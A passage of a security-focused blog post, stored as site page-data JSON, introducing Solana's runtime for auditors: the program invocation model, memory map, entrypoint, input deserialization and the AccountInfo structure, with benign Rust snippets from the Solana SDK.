[{"data":1,"prerenderedAt":165591},["ShallowReactive",2],{"blog-/blog/2022-03-14-solana-security-intro":3,"featured-blog-posts":2973},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"date":10,"image":11,"tags":15,"isFeatured":6,"onBlogPage":18,"body":19,"_type":2967,"_id":2968,"_source":2969,"_file":2970,"_stem":2971,"_extension":2972},"/blog/2022-03-14-solana-security-intro","blog",false,"","Solana: An Auditor's Introduction","A security focused introduction to Solana, exploring the underlying runtime environment, security boundaries, and implications. An important resource for all developers who want to write more secure code.","2022-03-14",{"src":12,"width":13,"height":14},"/posts/solana-auditor-intro/solana-auditor-intro.jpg",1023,961,[16,17],"solana","tutorial",true,{"type":20,"children":21,"toc":2962},"root",[22,30,46,53,58,72,125,130,150,162,167,191,196,201,314,327,690,711,758,763,776,859,864,869,1209,1221,1252,1265,1270,1283,1296,1301,1307,1312,1325,1330,1338,1350,1450,1455,1474,1484,1927,1932,2023,2044,2057,2184,2204,2296,2307,2607,2619,2639,2876,2888,2896,2901,2909,2922,2927,2933,2946,2951,2956],{"type":23,"tag":24,"props":25,"children":26},"element","p",{},[27],{"type":28,"value":29},"text","This blog post is meant as a security focused introduction to Solana written. We explore how exactly Solana's runtime operates, what degree of control an attacker has, and any relevant security boundaries. That being said, we believe this is an important resource for all developers. With vulnerabilities putting millions in assets at risk, understanding what happens under the hood, even in passing, is crucial to writing safer code.",{"type":23,"tag":24,"props":31,"children":32},{},[33,35,44],{"type":28,"value":34},"As an aside, we would recommend also checking out ",{"type":23,"tag":36,"props":37,"children":41},"a",{"href":38,"rel":39},"https://workshop.neodyme.io/index.html",[40],"nofollow",[42],{"type":28,"value":43},"Neodyme's Security Workshop",{"type":28,"value":45},". This presents a good introduction to many different Solana vulnerability classes and is good for diving right in. In contrast, this blog post aims start from fundamentals, presenting an overview of the Solana execution model from a security researcher's perspective. With a strong understanding of how Solana contracts are executed, we believe that an astute researcher should be able to independently find such vulnerability classes -- and more.",{"type":23,"tag":47,"props":48,"children":50},"h2",{"id":49},"execution-model",[51],{"type":28,"value":52},"Execution Model",{"type":23,"tag":24,"props":54,"children":55},{},[56],{"type":28,"value":57},"Understanding is crucial to finding vulnerabilities. When approaching a new contract, you should strive for a deep understanding of the contract, its various interactions, and any implicit assumptions.",{"type":23,"tag":24,"props":59,"children":60},{},[61,63,70],{"type":28,"value":62},"Hence, the first step is to understand how Solana programs even work. The Solana ",{"type":23,"tag":36,"props":64,"children":67},{"href":65,"rel":66},"https://docs.solana.com/developing/programming-model/overview",[40],[68],{"type":28,"value":69},"documentation on programming model",{"type":28,"value":71}," is another good resource.",{"type":23,"tag":24,"props":73,"children":74},{},[75,77,84,86,92,94,100,102,107,109,114,116,123],{"type":28,"value":76},"Solana programs are eBPF ELF files which are then loaded by an onchain program, the ",{"type":23,"tag":36,"props":78,"children":81},{"href":79,"rel":80},"https://docs.solana.com/developing/on-chain-programs/overview",[40],[82],{"type":28,"value":83},"BPF loader",{"type":28,"value":85},". The ELF data is stored as part of an ",{"type":23,"tag":87,"props":88,"children":89},"em",{},[90],{"type":28,"value":91},"account",{"type":28,"value":93}," onchain. An account can be thought of as a file, where the name of the account is the ",{"type":23,"tag":95,"props":96,"children":97},"strong",{},[98],{"type":28,"value":99},"pubkey",{"type":28,"value":101},". Accounts in Solana are referenced by their pubkey. This relationship between pubkeys and accounts is a one-to-one mapping. Like files, accounts can have both data - arbitrary raw bytes - and additional metadata such as ",{"type":23,"tag":87,"props":103,"children":104},{},[105],{"type":28,"value":106},"writable",{"type":28,"value":108}," or ",{"type":23,"tag":87,"props":110,"children":111},{},[112],{"type":28,"value":113},"executable",{"type":28,"value":115}," that we will cover later. For more information on accounts, see ",{"type":23,"tag":36,"props":117,"children":120},{"href":118,"rel":119},"https://docs.solana.com/developing/programming-model/accounts",[40],[121],{"type":28,"value":122},"the documentation",{"type":28,"value":124},".",{"type":23,"tag":24,"props":126,"children":127},{},[128],{"type":28,"value":129},"At a high level, interactions with onchain programs happen in the form of a program invocation. A Solana invocation specifies the following information",{"type":23,"tag":131,"props":132,"children":133},"ol",{},[134,140,145],{"type":23,"tag":135,"props":136,"children":137},"li",{},[138],{"type":28,"value":139},"the program to call",{"type":23,"tag":135,"props":141,"children":142},{},[143],{"type":28,"value":144},"a list of accounts",{"type":23,"tag":135,"props":146,"children":147},{},[148],{"type":28,"value":149},"a list of bytes, instruction data",{"type":23,"tag":24,"props":151,"children":152},{},[153,155,160],{"type":28,"value":154},"Note how this execution model has no conception of ",{"type":23,"tag":87,"props":156,"children":157},{},[158],{"type":28,"value":159},"methods",{"type":28,"value":161},". While naturally it might be useful to have different methods to call to perform different functions, this is not implemented at the execution level. Instead, this is done by parsing and interpreting the instruction data, for example, with an enum.",{"type":23,"tag":24,"props":163,"children":164},{},[165],{"type":28,"value":166},"The memory map is predefined and is as follows:",{"type":23,"tag":168,"props":169,"children":170},"ul",{},[171,176,181,186],{"type":23,"tag":135,"props":172,"children":173},{},[174],{"type":28,"value":175},"Program code starts at 0x100000000",{"type":23,"tag":135,"props":177,"children":178},{},[179],{"type":28,"value":180},"Stack data starts at 0x200000000",{"type":23,"tag":135,"props":182,"children":183},{},[184],{"type":28,"value":185},"Heap data starts at 0x300000000",{"type":23,"tag":135,"props":187,"children":188},{},[189],{"type":28,"value":190},"Program input parameters start at 0x400000000",{"type":23,"tag":24,"props":192,"children":193},{},[194],{"type":28,"value":195},"Because most Solana programs are written in Rust, memory corruption is not a very common issue. Hence, we won't be diving further into memory layout or other lower level details.",{"type":23,"tag":24,"props":197,"children":198},{},[199],{"type":28,"value":200},"BPF programs define a common entrypoint.",{"type":23,"tag":202,"props":203,"children":207},"pre",{"code":204,"language":205,"meta":7,"className":206,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64;\n","rust","language-rust shiki shiki-themes slack-dark",[208],{"type":23,"tag":209,"props":210,"children":211},"code",{"__ignoreMap":7},[212,224],{"type":23,"tag":213,"props":214,"children":217},"span",{"class":215,"line":216},"line",1,[218],{"type":23,"tag":213,"props":219,"children":221},{"style":220},"--shiki-default:#E6E6E6",[222],{"type":28,"value":223},"#[no_mangle]\n",{"type":23,"tag":213,"props":225,"children":227},{"class":215,"line":226},2,[228,234,239,244,250,255,261,266,272,278,283,288,294,299,304,309],{"type":23,"tag":213,"props":229,"children":231},{"style":230},"--shiki-default:#569CD6",[232],{"type":28,"value":233},"pub",{"type":23,"tag":213,"props":235,"children":236},{"style":230},[237],{"type":28,"value":238}," unsafe",{"type":23,"tag":213,"props":240,"children":241},{"style":230},[242],{"type":28,"value":243}," extern",{"type":23,"tag":213,"props":245,"children":247},{"style":246},"--shiki-default:#CE9178",[248],{"type":28,"value":249}," \"C\"",{"type":23,"tag":213,"props":251,"children":252},{"style":230},[253],{"type":28,"value":254}," fn",{"type":23,"tag":213,"props":256,"children":258},{"style":257},"--shiki-default:#DCDCAA",[259],{"type":28,"value":260}," entrypoint",{"type":23,"tag":213,"props":262,"children":263},{"style":220},[264],{"type":28,"value":265},"(",{"type":23,"tag":213,"props":267,"children":269},{"style":268},"--shiki-default:#9CDCFE",[270],{"type":28,"value":271},"input",{"type":23,"tag":213,"props":273,"children":275},{"style":274},"--shiki-default:#D4D4D4",[276],{"type":28,"value":277},":",{"type":23,"tag":213,"props":279,"children":280},{"style":274},[281],{"type":28,"value":282}," *",{"type":23,"tag":213,"props":284,"children":285},{"style":230},[286],{"type":28,"value":287},"mut",{"type":23,"tag":213,"props":289,"children":291},{"style":290},"--shiki-default:#4EC9B0",[292],{"type":28,"value":293}," u8",{"type":23,"tag":213,"props":295,"children":296},{"style":220},[297],{"type":28,"value":298},") ",{"type":23,"tag":213,"props":300,"children":301},{"style":274},[302],{"type":28,"value":303},"->",{"type":23,"tag":213,"props":305,"children":306},{"style":290},[307],{"type":28,"value":308}," u64",{"type":23,"tag":213,"props":310,"children":311},{"style":220},[312],{"type":28,"value":313},";\n",{"type":23,"tag":24,"props":315,"children":316},{},[317,319,326],{"type":28,"value":318},"This method will be called with a binary blob representing the serialized instruction and account data. Solana also provides utility functions to ",{"type":23,"tag":36,"props":320,"children":323},{"href":321,"rel":322},"https://github.com/solana-labs/solana/blob/d9b0fc0e3eec67dfe4a97d9298b15969b2804fab/sdk/program/src/entrypoint.rs#L146",[40],[324],{"type":28,"value":325},"deserialize this data",{"type":28,"value":124},{"type":23,"tag":202,"props":328,"children":330},{"code":329,"language":205,"meta":7,"className":206,"style":7},"pub unsafe fn deserialize\u003C'a>(input: *mut u8) -> (&'a Pubkey, Vec\u003CAccountInfo\u003C'a>>, &'a [u8]) {\n let mut offset: usize = 0;\n\n // Number of accounts present\n\n #[allow(clippy::cast_ptr_alignment)]\n let num_accounts = *(input.add(offset) as *const u64) as usize;\n offset += size_of::\u003Cu64>();\n",[331],{"type":23,"tag":209,"props":332,"children":333},{"__ignoreMap":7},[334,480,522,531,541,549,568,653],{"type":23,"tag":213,"props":335,"children":336},{"class":215,"line":216},[337,341,345,349,354,359,363,368,372,376,380,384,388,392,396,401,406,411,415,420,425,430,435,440,444,448,453,457,461,465,470,475],{"type":23,"tag":213,"props":338,"children":339},{"style":230},[340],{"type":28,"value":233},{"type":23,"tag":213,"props":342,"children":343},{"style":230},[344],{"type":28,"value":238},{"type":23,"tag":213,"props":346,"children":347},{"style":230},[348],{"type":28,"value":254},{"type":23,"tag":213,"props":350,"children":351},{"style":257},[352],{"type":28,"value":353}," deserialize",{"type":23,"tag":213,"props":355,"children":356},{"style":220},[357],{"type":28,"value":358},"\u003C'",{"type":23,"tag":213,"props":360,"children":361},{"style":290},[362],{"type":28,"value":36},{"type":23,"tag":213,"props":364,"children":365},{"style":220},[366],{"type":28,"value":367},">(",{"type":23,"tag":213,"props":369,"children":370},{"style":268},[371],{"type":28,"value":271},{"type":23,"tag":213,"props":373,"children":374},{"style":274},[375],{"type":28,"value":277},{"type":23,"tag":213,"props":377,"children":378},{"style":274},[379],{"type":28,"value":282},{"type":23,"tag":213,"props":381,"children":382},{"style":230},[383],{"type":28,"value":287},{"type":23,"tag":213,"props":385,"children":386},{"style":290},[387],{"type":28,"value":293},{"type":23,"tag":213,"props":389,"children":390},{"style":220},[391],{"type":28,"value":298},{"type":23,"tag":213,"props":393,"children":394},{"style":274},[395],{"type":28,"value":303},{"type":23,"tag":213,"props":397,"children":398},{"style":220},[399],{"type":28,"value":400}," (",{"type":23,"tag":213,"props":402,"children":403},{"style":274},[404],{"type":28,"value":405},"&",{"type":23,"tag":213,"props":407,"children":408},{"style":220},[409],{"type":28,"value":410},"'",{"type":23,"tag":213,"props":412,"children":413},{"style":290},[414],{"type":28,"value":36},{"type":23,"tag":213,"props":416,"children":417},{"style":290},[418],{"type":28,"value":419}," Pubkey",{"type":23,"tag":213,"props":421,"children":422},{"style":220},[423],{"type":28,"value":424},", ",{"type":23,"tag":213,"props":426,"children":427},{"style":290},[428],{"type":28,"value":429},"Vec",{"type":23,"tag":213,"props":431,"children":432},{"style":220},[433],{"type":28,"value":434},"\u003C",{"type":23,"tag":213,"props":436,"children":437},{"style":290},[438],{"type":28,"value":439},"AccountInfo",{"type":23,"tag":213,"props":441,"children":442},{"style":220},[443],{"type":28,"value":358},{"type":23,"tag":213,"props":445,"children":446},{"style":290},[447],{"type":28,"value":36},{"type":23,"tag":213,"props":449,"children":450},{"style":220},[451],{"type":28,"value":452},">>, ",{"type":23,"tag":213,"props":454,"children":455},{"style":274},[456],{"type":28,"value":405},{"type":23,"tag":213,"props":458,"children":459},{"style":220},[460],{"type":28,"value":410},{"type":23,"tag":213,"props":462,"children":463},{"style":290},[464],{"type":28,"value":36},{"type":23,"tag":213,"props":466,"children":467},{"style":220},[468],{"type":28,"value":469}," [",{"type":23,"tag":213,"props":471,"children":472},{"style":290},[473],{"type":28,"value":474},"u8",{"type":23,"tag":213,"props":476,"children":477},{"style":220},[478],{"type":28,"value":479},"]) {\n",{"type":23,"tag":213,"props":481,"children":482},{"class":215,"line":226},[483,488,493,498,502,507,512,518],{"type":23,"tag":213,"props":484,"children":485},{"style":230},[486],{"type":28,"value":487}," let",{"type":23,"tag":213,"props":489,"children":490},{"style":230},[491],{"type":28,"value":492}," mut",{"type":23,"tag":213,"props":494,"children":495},{"style":268},[496],{"type":28,"value":497}," offset",{"type":23,"tag":213,"props":499,"children":500},{"style":274},[501],{"type":28,"value":277},{"type":23,"tag":213,"props":503,"children":504},{"style":290},[505],{"type":28,"value":506}," usize",{"type":23,"tag":213,"props":508,"children":509},{"style":274},[510],{"type":28,"value":511}," =",{"type":23,"tag":213,"props":513,"children":515},{"style":514},"--shiki-default:#B5CEA8",[516],{"type":28,"value":517}," 0",{"type":23,"tag":213,"props":519,"children":520},{"style":220},[521],{"type":28,"value":313},{"type":23,"tag":213,"props":523,"children":525},{"class":215,"line":524},3,[526],{"type":23,"tag":213,"props":527,"children":528},{"emptyLinePlaceholder":18},[529],{"type":28,"value":530},"\n",{"type":23,"tag":213,"props":532,"children":534},{"class":215,"line":533},4,[535],{"type":23,"tag":213,"props":536,"children":538},{"style":537},"--shiki-default:#6A9955",[539],{"type":28,"value":540}," // Number of accounts present\n",{"type":23,"tag":213,"props":542,"children":544},{"class":215,"line":543},5,[545],{"type":23,"tag":213,"props":546,"children":547},{"emptyLinePlaceholder":18},[548],{"type":28,"value":530},{"type":23,"tag":213,"props":550,"children":552},{"class":215,"line":551},6,[553,558,563],{"type":23,"tag":213,"props":554,"children":555},{"style":220},[556],{"type":28,"value":557}," #[allow(clippy",{"type":23,"tag":213,"props":559,"children":560},{"style":274},[561],{"type":28,"value":562},"::",{"type":23,"tag":213,"props":564,"children":565},{"style":220},[566],{"type":28,"value":567},"cast_ptr_alignment)]\n",{"type":23,"tag":213,"props":569,"children":571},{"class":215,"line":570},7,[572,576,581,585,589,593,597,601,606,610,615,619,624,628,633,637,641,645,649],{"type":23,"tag":213,"props":573,"children":574},{"style":230},[575],{"type":28,"value":487},{"type":23,"tag":213,"props":577,"children":578},{"style":268},[579],{"type":28,"value":580}," num_accounts",{"type":23,"tag":213,"props":582,"children":583},{"style":274},[584],{"type":28,"value":511},{"type":23,"tag":213,"props":586,"children":587},{"style":274},[588],{"type":28,"value":282},{"type":23,"tag":213,"props":590,"children":591},{"style":220},[592],{"type":28,"value":265},{"type":23,"tag":213,"props":594,"children":595},{"style":268},[596],{"type":28,"value":271},{"type":23,"tag":213,"props":598,"children":599},{"style":274},[600],{"type":28,"value":124},{"type":23,"tag":213,"props":602,"children":603},{"style":257},[604],{"type":28,"value":605},"add",{"type":23,"tag":213,"props":607,"children":608},{"style":220},[609],{"type":28,"value":265},{"type":23,"tag":213,"props":611,"children":612},{"style":268},[613],{"type":28,"value":614},"offset",{"type":23,"tag":213,"props":616,"children":617},{"style":220},[618],{"type":28,"value":298},{"type":23,"tag":213,"props":620,"children":621},{"style":230},[622],{"type":28,"value":623},"as",{"type":23,"tag":213,"props":625,"children":626},{"style":274},[627],{"type":28,"value":282},{"type":23,"tag":213,"props":629,"children":630},{"style":230},[631],{"type":28,"value":632},"const",{"type":23,"tag":213,"props":634,"children":635},{"style":290},[636],{"type":28,"value":308},{"type":23,"tag":213,"props":638,"children":639},{"style":220},[640],{"type":28,"value":298},{"type":23,"tag":213,"props":642,"children":643},{"style":230},[644],{"type":28,"value":623},{"type":23,"tag":213,"props":646,"children":647},{"style":290},[648],{"type":28,"value":506},{"type":23,"tag":213,"props":650,"children":651},{"style":220},[652],{"type":28,"value":313},{"type":23,"tag":213,"props":654,"children":656},{"class":215,"line":655},8,[657,662,667,672,676,680,685],{"type":23,"tag":213,"props":658,"children":659},{"style":268},[660],{"type":28,"value":661}," offset",{"type":23,"tag":213,"props":663,"children":664},{"style":274},[665],{"type":28,"value":666}," +=",{"type":23,"tag":213,"props":668,"children":669},{"style":257},[670],{"type":28,"value":671}," size_of",{"type":23,"tag":213,"props":673,"children":674},{"style":274},[675],{"type":28,"value":562},{"type":23,"tag":213,"props":677,"children":678},{"style":220},[679],{"type":28,"value":434},{"type":23,"tag":213,"props":681,"children":682},{"style":290},[683],{"type":28,"value":684},"u64",{"type":23,"tag":213,"props":686,"children":687},{"style":220},[688],{"type":28,"value":689},">();\n",{"type":23,"tag":24,"props":691,"children":692},{},[693,695,700,702,709],{"type":28,"value":694},"Note that this binary blob ",{"type":23,"tag":95,"props":696,"children":697},{},[698],{"type":28,"value":699},"is not attacker controlled",{"type":28,"value":701},". Instead, this data is serialized by another program called ",{"type":23,"tag":36,"props":703,"children":706},{"href":704,"rel":705},"https://docs.solana.com/developing/on-chain-programs/overview#loaders",[40],[707],{"type":28,"value":708},"the BPF Loader",{"type":28,"value":710}," which is part of the Solana runtime.",{"type":23,"tag":202,"props":712,"children":714},{"code":713,"language":205,"meta":7,"className":206,"style":7},"/// Deserialize the input arguments\n///\n/// The integer arithmetic in this method is safe when called on a buffer that was\n/// serialized by runtime. Use with buffers serialized otherwise is unsupported and\n/// done at one's own risk.\n",[715],{"type":23,"tag":209,"props":716,"children":717},{"__ignoreMap":7},[718,726,734,742,750],{"type":23,"tag":213,"props":719,"children":720},{"class":215,"line":216},[721],{"type":23,"tag":213,"props":722,"children":723},{"style":537},[724],{"type":28,"value":725},"/// Deserialize the input arguments\n",{"type":23,"tag":213,"props":727,"children":728},{"class":215,"line":226},[729],{"type":23,"tag":213,"props":730,"children":731},{"style":537},[732],{"type":28,"value":733},"///\n",{"type":23,"tag":213,"props":735,"children":736},{"class":215,"line":524},[737],{"type":23,"tag":213,"props":738,"children":739},{"style":537},[740],{"type":28,"value":741},"/// The integer arithmetic in this method is safe when called on a buffer that was\n",{"type":23,"tag":213,"props":743,"children":744},{"class":215,"line":533},[745],{"type":23,"tag":213,"props":746,"children":747},{"style":537},[748],{"type":28,"value":749},"/// serialized by runtime. Use with buffers serialized otherwise is unsupported and\n",{"type":23,"tag":213,"props":751,"children":752},{"class":215,"line":543},[753],{"type":23,"tag":213,"props":754,"children":755},{"style":537},[756],{"type":28,"value":757},"/// done at one's own risk.\n",{"type":23,"tag":24,"props":759,"children":760},{},[761],{"type":28,"value":762},"That being said, an attacker has a very large degree of control over this data. Let's take a closer look at what exactly this data is.",{"type":23,"tag":24,"props":764,"children":765},{},[766,768,774],{"type":28,"value":767},"Recall the return signature of the ",{"type":23,"tag":209,"props":769,"children":771},{"className":770},[],[772],{"type":28,"value":773},"deserialize",{"type":28,"value":775}," function.",{"type":23,"tag":202,"props":777,"children":779},{"code":778,"language":205,"meta":7,"className":206,"style":7},"(&'a Pubkey, Vec\u003CAccountInfo\u003C'a>>, &'a [u8])\n",[780],{"type":23,"tag":209,"props":781,"children":782},{"__ignoreMap":7},[783],{"type":23,"tag":213,"props":784,"children":785},{"class":215,"line":216},[786,790,794,798,802,806,810,814,818,822,826,830,834,838,842,846,850,854],{"type":23,"tag":213,"props":787,"children":788},{"style":220},[789],{"type":28,"value":265},{"type":23,"tag":213,"props":791,"children":792},{"style":274},[793],{"type":28,"value":405},{"type":23,"tag":213,"props":795,"children":796},{"style":220},[797],{"type":28,"value":410},{"type":23,"tag":213,"props":799,"children":800},{"style":290},[801],{"type":28,"value":36},{"type":23,"tag":213,"props":803,"children":804},{"style":290},[805],{"type":28,"value":419},{"type":23,"tag":213,"props":807,"children":808},{"style":220},[809],{"type":28,"value":424},{"type":23,"tag":213,"props":811,"children":812},{"style":290},[813],{"type":28,"value":429},{"type":23,"tag":213,"props":815,"children":816},{"style":220},[817],{"type":28,"value":434},{"type":23,"tag":213,"props":819,"children":820},{"style":290},[821],{"type":28,"value":439},{"type":23,"tag":213,"props":823,"children":824},{"style":220},[825],{"type":28,"value":358},{"type":23,"tag":213,"props":827,"children":828},{"style":290},[829],{"type":28,"value":36},{"type":23,"tag":213,"props":831,"children":832},{"style":220},[833],{"type":28,"value":452},{"type":23,"tag":213,"props":835,"children":836},{"style":274},[837],{"type":28,"value":405},{"type":23,"tag":213,"props":839,"children":840},{"style":220},[841],{"type":28,"value":410},{"type":23,"tag":213,"props":843,"children":844},{"style":290},[845],{"type":28,"value":36},{"type":23,"tag":213,"props":847,"children":848},{"style":220},[849],{"type":28,"value":469},{"type":23,"tag":213,"props":851,"children":852},{"style":290},[853],{"type":28,"value":474},{"type":23,"tag":213,"props":855,"children":856},{"style":220},[857],{"type":28,"value":858},"])\n",{"type":23,"tag":24,"props":860,"children":861},{},[862],{"type":28,"value":863},"The first part of the tuple represents the id of the running program. This is often used to check for proper ownership of accounts. For example, it's generally only safe to operate on accounts that you own to ensure data integrity.",{"type":23,"tag":24,"props":865,"children":866},{},[867],{"type":28,"value":868},"The second part of the tuple is a list of account information.",{"type":23,"tag":202,"props":870,"children":872},{"code":871,"language":205,"meta":7,"className":206,"style":7},"pub struct AccountInfo\u003C'a> {\n pub key: &'a Pubkey,\n pub is_signer: bool,\n pub is_writable: bool,\n pub lamports: Rc\u003CRefCell\u003C&'a mut u64>>,\n pub data: Rc\u003CRefCell\u003C&'a mut [u8]>>,\n pub owner: &'a Pubkey,\n pub executable: bool,\n pub rent_epoch: Epoch,\n}\n",[873],{"type":23,"tag":209,"props":874,"children":875},{"__ignoreMap":7},[876,906,945,970,994,1053,1114,1150,1174,1200],{"type":23,"tag":213,"props":877,"children":878},{"class":215,"line":216},[879,883,888,893,897,901],{"type":23,"tag":213,"props":880,"children":881},{"style":230},[882],{"type":28,"value":233},{"type":23,"tag":213,"props":884,"children":885},{"style":230},[886],{"type":28,"value":887}," struct",{"type":23,"tag":213,"props":889,"children":890},{"style":290},[891],{"type":28,"value":892}," AccountInfo",{"type":23,"tag":213,"props":894,"children":895},{"style":220},[896],{"type":28,"value":358},{"type":23,"tag":213,"props":898,"children":899},{"style":290},[900],{"type":28,"value":36},{"type":23,"tag":213,"props":902,"children":903},{"style":220},[904],{"type":28,"value":905},"> {\n",{"type":23,"tag":213,"props":907,"children":908},{"class":215,"line":226},[909,914,919,923,928,932,936,940],{"type":23,"tag":213,"props":910,"children":911},{"style":230},[912],{"type":28,"value":913}," pub",{"type":23,"tag":213,"props":915,"children":916},{"style":268},[917],{"type":28,"value":918}," key",{"type":23,"tag":213,"props":920,"children":921},{"style":274},[922],{"type":28,"value":277},{"type":23,"tag":213,"props":924,"children":925},{"style":274},[926],{"type":28,"value":927}," &",{"type":23,"tag":213,"props":929,"children":930},{"style":220},[931],{"type":28,"value":410},{"type":23,"tag":213,"props":933,"children":934},{"style":290},[935],{"type":28,"value":36},{"type":23,"tag":213,"props":937,"children":938},{"style":290},[939],{"type":28,"value":419},{"type":23,"tag":213,"props":941,"children":942},{"style":220},[943],{"type":28,"value":944},",\n",{"type":23,"tag":213,"props":946,"children":947},{"class":215,"line":524},[948,952,957,961,966],{"type":23,"tag":213,"props":949,"children":950},{"style":230},[951],{"type":28,"value":913},{"type":23,"tag":213,"props":953,"children":954},{"style":268},[955],{"type":28,"value":956}," is_signer",{"type":23,"tag":213,"props":958,"children":959},{"style":274},[960],{"type":28,"value":277},{"type":23,"tag":213,"props":962,"children":963},{"style":290},[964],{"type":28,"value":965}," bool",{"type":23,"tag":213,"props":967,"children":968},{"style":220},[969],{"type":28,"value":944},{"type":23,"tag":213,"props":971,"children":972},{"class":215,"line":533},[973,977,982,986,990],{"type":23,"tag":213,"props":974,"children":975},{"style":230},[976],{"type":28,"value":913},{"type":23,"tag":213,"props":978,"children":979},{"style":268},[980],{"type":28,"value":981}," is_writable",{"type":23,"tag":213,"props":983,"children":984},{"style":274},[985],{"type":28,"value":277},{"type":23,"tag":213,"props":987,"children":988},{"style":290},[989],{"type":28,"value":965},{"type":23,"tag":213,"props":991,"children":992},{"style":220},[993],{"type":28,"value":944},{"type":23,"tag":213,"props":995,"children":996},{"class":215,"line":543},[997,1001,1006,1010,1015,1019,1024,1028,1032,1036,1040,1044,1048],{"type":23,"tag":213,"props":998,"children":999},{"style":230},[1000],{"type":28,"value":913},{"type":23,"tag":213,"props":1002,"children":1003},{"style":268},[1004],{"type":28,"value":1005}," lamports",{"type":23,"tag":213,"props":1007,"children":1008},{"style":274},[1009],{"type":28,"value":277},{"type":23,"tag":213,"props":1011,"children":1012},{"style":290},[1013],{"type":28,"value":1014}," Rc",{"type":23,"tag":213,"props":1016,"children":1017},{"style":220},[1018],{"type":28,"value":434},{"type":23,"tag":213,"props":1020,"children":1021},{"style":290},[1022],{"type":28,"value":1023},"RefCell",{"type":23,"tag":213,"props":1025,"children":1026},{"style":220},[1027],{"type":28,"value":434},{"type":23,"tag":213,"props":1029,"children":1030},{"style":274},[1031],{"type":28,"value":405},{"type":23,"tag":213,"props":1033,"children":1034},{"style":220},[1035],{"type":28,"value":410},{"type":23,"tag":213,"props":1037,"children":1038},{"style":290},[1039],{"type":28,"value":36},{"type":23,"tag":213,"props":1041,"children":1042},{"style":230},[1043],{"type":28,"value":492},{"type":23,"tag":213,"props":1045,"children":1046},{"style":290},[1047],{"type":28,"value":308},{"type":23,"tag":213,"props":1049,"children":1050},{"style":220},[1051],{"type":28,"value":1052},">>,\n",{"type":23,"tag":213,"props":1054,"children":1055},{"class":215,"line":551},[1056,1060,1065,1069,1073,1077,1081,1085,1089,1093,1097,1101,1105,1109],{"type":23,"tag":213,"props":1057,"children":1058},{"style":230},[1059],{"type":28,"value":913},{"type":23,"tag":213,"props":1061,"children":1062},{"style":268},[1063],{"type":28,"value":1064}," data",{"type":23,"tag":213,"props":1066,"children":1067},{"style":274},[1068],{"type":28,"value":277},{"type":23,"tag":213,"props":1070,"children":1071},{"style":290},[1072],{"type":28,"value":1014},{"type":23,"tag":213,"props":1074,"children":1075},{"style":220},[1076],{"type":28,"value":434},{"type":23,"tag":213,"props":1078,"children":1079},{"style":290},[1080],{"type":28,"value":1023},{"type":23,"tag":213,"props":1082,"children":1083},{"style":220},[1084],{"type":28,"value":434},{"type":23,"tag":213,"props":1086,"children":1087},{"style":274},[1088],{"type":28,"value":405},{"type":23,"tag":213,"props":1090,"children":1091},{"style":220},[1092],{"type":28,"value":410},{"type":23,"tag":213,"props":1094,"children":1095},{"style":290},[1096],{"type":28,"value":36},{"type":23,"tag":213,"props":1098,"children":1099},{"style":230},[1100],{"type":28,"value":492},{"type":23,"tag":213,"props":1102,"children":1103},{"style":220},[1104],{"type":28,"value":469},{"type":23,"tag":213,"props":1106,"children":1107},{"style":290},[1108],{"type":28,"value":474},{"type":23,"tag":213,"props":1110,"children":1111},{"style":220},[1112],{"type":28,"value":1113},"]>>,\n",{"type":23,"tag":213,"props":1115,"children":1116},{"class":215,"line":570},[1117,1121,1126,1130,1134,1138,1142,1146],{"type":23,"tag":213,"props":1118,"children":1119},{"style":230},[1120],{"type":28,"value":913},{"type":23,"tag":213,"props":1122,"children":1123},{"style":268},[1124],{"type":28,"value":1125}," owner",{"type":23,"tag":213,"props":1127,"children":1128},{"style":274},[1129],{"type":28,"value":277},{"type":23,"tag":213,"props":1131,"children":1132},{"style":274},[1133],{"type":28,"value":927},{"type":23,"tag":213,"props":1135,"children":1136},{"style":220},[1137],{"type":28,"value":410},{"type":23,"tag":213,"props":1139,"children":1140},{"style":290},[1141],{"type":28,"value":36},{"type":23,"tag":213,"props":1143,"children":1144},{"style":290},[1145],{"type":28,"value":419},{"type":23,"tag":213,"props":1147,"children":1148},{"style":220},[1149],{"type":28,"value":944},{"type":23,"tag":213,"props":1151,"children":1152},{"class":215,"line":655},[1153,1157,1162,1166,1170],{"type":23,"tag":213,"props":1154,"children":1155},{"style":230},[1156],{"type":28,"value":913},{"type":23,"tag":213,"props":1158,"children":1159},{"style":268},[1160],{"type":28,"value":1161}," executable",{"type":23,"tag":213,"props":1163,"children":1164},{"style":274},[1165],{"type":28,"value":277},{"type":23,"tag":213,"props":1167,"children":1168},{"style":290},[1169],{"type":28,"value":965},{"type":23,"tag":213,"props":1171,"children":1172},{"style":220},[1173],{"type":28,"value":944},{"type":23,"tag":213,"props":1175,"children":1177},{"class":215,"line":1176},9,[1178,1182,1187,1191,1196],{"type":23,"tag":213,"props":1179,"children":1180},{"style":230},[1181],{"type":28,"value":913},{"type":23,"tag":213,"props":1183,"children":1184},{"style":268},[1185],{"type":28,"value":1186}," rent_epoch",{"type":23,"tag":213,"props":1188,"children":1189},{"style":274},[1190],{"type":28,"value":277},{"type":23,"tag":213,"props":1192,"children":1193},{"style":290},[1194],{"type":28,"value":1195}," Epoch",{"type":23,"tag":213,"props":1197,"children":1198},{"style":220},[1199],{"type":28,"value":944},{"type":23,"tag":213,"props":1201,"children":1203},{"class":215,"line":1202},10,[1204],{"type":23,"tag":213,"props":1205,"children":1206},{"style":220},[1207],{"type":28,"value":1208},"}\n",{"type":23,"tag":24,"props":1210,"children":1211},{},[1212,1214,1219],{"type":28,"value":1213},"This is the associated metadata with any given account. In other words, this represents ",{"type":23,"tag":95,"props":1215,"children":1216},{},[1217],{"type":28,"value":1218},"all",{"type":28,"value":1220}," of the information that a Solana onchain program can know about an account. Some of the more important fields include:",{"type":23,"tag":168,"props":1222,"children":1223},{},[1224,1229,1242,1247],{"type":23,"tag":135,"props":1225,"children":1226},{},[1227],{"type":28,"value":1228},"key: The pubkey corresponding to this account",{"type":23,"tag":135,"props":1230,"children":1231},{},[1232,1234,1241],{"type":28,"value":1233},"is_signer: If there is a signature for this account, often used to allow privileged operations. See ",{"type":23,"tag":36,"props":1235,"children":1238},{"href":1236,"rel":1237},"https://docs.solana.com/developing/programming-model/accounts#signers",[40],[1239],{"type":28,"value":1240},"the docs",{"type":28,"value":124},{"type":23,"tag":135,"props":1243,"children":1244},{},[1245],{"type":28,"value":1246},"is_writable: If the account can be modified, both with respect to lamports and account 